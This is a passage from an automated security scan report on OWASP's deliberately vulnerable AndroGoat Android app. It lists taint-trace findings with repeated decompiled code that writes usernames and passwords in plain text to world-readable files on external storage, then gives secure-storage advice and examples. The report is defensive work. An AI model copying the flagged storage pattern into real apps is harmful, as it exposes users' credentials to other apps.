            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
```

```
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Finding #5

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
```

```
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #6

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
```

```
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
```

```
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Finding #7

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
```

```
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        this.setContentView(2131296296);
        ((android.widget.Button) this.findViewById(2131165201)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #8

Call to filesystem access method using path from external storage (e.i `getexternalstorage()` ) Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1` found at `owasp.sat.agoat.InsecureStorageSDCardActivity` . From source `java.io.File android.os.Environment.getExternalStorageDirectory()` to sink `void java.io.FileWriter.<init>(java.io.File)` . Taint trace:

```
at java.io.FileWriter.<init>()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
at owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
```

```
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSDCardActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p7)
    {
        try {
            java.io.IOException v0_1 = new StringBuilder();
            v0_1.append( This data is stored in SdCard on );
            v0_1.append(new java.util.Date());
            v0_1.append(:
 Username - );
            java.io.File v1_0 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_0, username);
            v0_1.append(v1_0.getText().toString());
            v0_1.append( Password -);
            java.io.File v1_4 = this.$password;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_4, password);
            v0_1.append(v1_4.getText().toString());
            v0_1.append(
);
            java.io.IOException v0_2 = v0_1.toString();
            android.content.Context v4_0 = android.os.Environment.getExternalStorageDirectory();
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v4_0, Environment.getExternalStorageDirectory());
            java.io.File v1_10 = java.io.File.createTempFile(users, tmp, new java.io.File(v4_0.getAbsolutePath()));
            android.widget.Toast v2_4 = new StringBuilder();
            v2_4.append(userinfo );
            v2_4.append(v1_10);
            System.out.println(v2_4.toString());
            v1_10.setReadable(1);
            v1_10.setWritable(1);
            java.io.FileWriter v3_5 = new java.io.FileWriter(v1_10);
            v3_5.write(v0_2);
            v3_5.close();
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        } catch (java.io.IOException v0_3) {
            v0_3.printStackTrace();
        }
        return;
    }
```

### Recommendation

- Use Secure Storage: Store sensitive data such as authentication tokens or credentials securely. Use secure storage mechanisms provided by the platform, such as Keychain for iOS and SharedPreferences with encryption for Android.
- Data Encryption: Encrypt sensitive data at rest using strong encryption algorithms to protect data stored on user device.
- Avoid Hardcoding Sensitive Information: Instead of hardcoding sensitive information like usernames, passwords, or tokens directly into your code, consider secure storage mechanisms suggested above.
- Avoid Permissive File Permissions: Ensure that file permissions are set appropriately to restrict access to sensitive files and directories. On Android for example, avoid using `MODE_WORLD_READABLE` or `MODE_WORLD_WRITEABLE` when creating files, as they grant broad read or write access to all applications. Always follow the principle of least privilege when setting file permissions and limit access to only what is necessary for the application's functionality.
- Input Validation: When loading data from public storage locations, always make sure to validate and sanitize it.

KOTLIN

```
 import android.content.Context
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.security.crypto.EncryptedSharedPreferences
import androidx.security.crypto.MasterKeys
import java.io.IOException

class MainActivity : AppCompatActivity() {

    private lateinit var encryptedSharedPreferences: SharedPreferences

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        // Initialize encrypted shared preferences
        initializeEncryptedSharedPreferences()

        val loginButton: Button = findViewById(R.id.login_button)
        loginButton.setOnClickListener {
            // Dummy authentication process
            val token = authenticate("username", "password") // authentication logic

            // Store token securely in encrypted shared preferences
            storeTokenInSharedPreferences(token)
        }
    }

    private fun initializeEncryptedSharedPreferences() {
        try {
            val masterKeyAlias = MasterKeys.getOrCreate(MasterKeys.AES256_GCM_SPEC)
            encryptedSharedPreferences = EncryptedSharedPreferences.create(
                "secure_preferences",
                masterKeyAlias,
                applicationContext,
                EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
                EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
            )
        } catch (e: IOException) {
            e.printStackTrace()
        }
    }

    private fun storeTokenInSharedPreferences(token: String) {
        encryptedSharedPreferences.edit().putString("jwt_token", token).apply()
        Toast.makeText(this, "Token stored securely.", Toast.LENGTH_SHORT).show()
    }
}
```

SWIFT

```
 import UIKit
import Security

class ViewController: UIViewController {

    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view.

        let loginButton = UIButton(type: .system)
        loginButton.setTitle("Login", for: .normal)
        loginButton.addTarget(self, action: #selector(loginButtonTapped), for: .touchUpInside)
        view.addSubview(loginButton)
        loginButton.translatesAutoresizingMaskIntoConstraints = false
        loginButton.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true
        loginButton.centerYAnchor.constraint(equalTo: view.centerYAnchor).isActive = true
    }

    @objc func loginButtonTapped() {
        // Dummy authentication process
        let token = authenticate(username: "username", password: "password")

        // Store token securely in Keychain
        storeTokenInKeychain(token: token)
```

```
    }

    private func storeTokenInKeychain(token: String) {
        let keychainQuery: [String: Any] = [
            kSecClass as String: kSecClassGenericPassword,
            kSecAttrAccount as String: "jwtToken",
            kSecValueData as String: token.data(using: .utf8)!,
            kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
        ]

        let status = SecItemAdd(keychainQuery as CFDictionary, nil)
        if status == errSecSuccess {
            print("Token stored securely in Keychain.")
        } else {
            print("Failed to store token in Keychain: \(status)")
        }
    }
}
```

<> FLUTTER

```
 import 'package:flutter/material.dart';
import 'package:flutter_secure_storage/flutter_secure_storage.dart';

void main() {
  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      home: MyHomePage(),
    );
  }
}

class MyHomePage extends StatelessWidget {
  final storage = FlutterSecureStorage();

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: Text('Flutter Secure Storage Example'),
      ),
      body: Center(
        child: ElevatedButton(
          onPressed: () async {
            // Dummy authentication process
            String token = await authenticate("username", "password");

            // Store token securely
            await storeTokenInSecureStorage(token);
          },
          child: Text('Login'),
        ),
      ),
    );
  }

  Future<void> storeTokenInSecureStorage(String token) async {
    await storage.write(key: 'jwtToken', value: token);
    print('Token stored securely.');
  }
}
```

### References

- CWE-359: Exposure of Private Information ("Privacy Violation")
- OWASP Mobile Top 10
- CWE-200: Information Exposure

POTENTIALLY **40. Source to Sink**

Dangerous Sink method is called using potentially user controlled parameters or untrusted Source method.

Source method or user-controlled parameter is used to call a sink method.

Source refers to untrusted data input, that may originate from an untrusted user. Sink refers to dangerous method, that if accessible by attacker, may leverage it to perform an attack.

Source and Sinks must be reviewed for vulnerabilities, like Injection, Indirect Object Reference or Unauthorized data access.

### Technical Details

#### Finding #1

User controlled parameter is used call a sink method. Taint traced from non-reachable component: `owasp.sat.agoat.AccessControlIssue1Activity` found at `owasp.sat.agoat.AccessControlIssue1Activity` . From parameter `0` to sink `android.content.SharedPreferences owasp.sat.agoat.AccessControlIssue1Activity.getSharedPreferences(java.lang.String, int)` . Taint trace:

```
at owasp.sat.agoat.AccessControlIssue1Activity.getSharedPreferences()
at owasp.sat.agoat.AccessControlIssue1Activity.createPIN()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.AccessControlIssue1Activity.onCreate()
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.createPIN()` :

```
    public final boolean createPIN(String p5)
    {
        kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull(p5, pinValue);
        android.content.SharedPreferences$Editor v1_1 = this.getSharedPreferences(pinDetails, 0).edit();
        v1_1.putBoolean(pinSet, 1);
        v1_1.putString(pin, this.hashPIN(p5));
        return v1_1.commit();
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p5)
    {
        android.widget.EditText v0_2 = ((android.widget.EditText) this.this$0.findViewById(2131165335));
        android.widget.Toast v1_9 = this.this$0;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v0_2, pinValue);
        if (!v1_9.createPIN(v0_2.getText().toString())) {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN not created), 1).show();
        } else {
            android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) PIN created. Please Login), 1).show();
            this.this$0.verifyPINView();
        }
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
```

```
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1.<init>()` :

```
    AccessControlIssue1Activity$onCreate$1(owasp.sat.agoat.AccessControlIssue1Activity p1)
    {
        this.this$0 = p1;
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.AccessControlIssue1Activity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p3)
    {
        super.onCreate(p3);
        if (!this.verifyIfPinSet()) {
            this.setContentView(2131296284);
            ((android.widget.Button) this.findViewById(2131165334)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.AccessControlIssue1Activity$onCreate$1(this)));
        } else {
            this.verifyPINView();
        }
        return;
    }
```

Finding #2

User controlled parameter is used call a sink method. Taint traced from reachable component: `owasp.sat.agoat.AccessControl1ViewActivity` found at `owasp.sat.agoat.AccessControl1ViewActivity` . From parameter `0` to sink `void owasp.sat.agoat.AccessControl1ViewActivity.startService()` . Taint trace:

```
at owasp.sat.agoat.AccessControl1ViewActivity.startService()
at owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1.onClick()
at owasp.sat.agoat.AccessControl1ViewActivity.onCreate()
at owasp.sat.agoat.AccessControl1ViewActivity$onCreate$1.<init>()
at owasp.sat.agoat.AccessControl1ViewActivity.onCreate()
at android.support.v4.app.BaseFragmentActivityApi16.onCreate()
at android.support.v4.app.FragmentActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.AccessControl1ViewActivity.onCreate()
```

Method `owasp.sat.agoat.AccessControl1ViewActivity.startService()` :

```
    public final void startService()
    {
        this.startService(new android.content.Intent(((android.content.Context) this), owasp.sat.agoat.DownloadInvoiceService));
        return;
    }
```

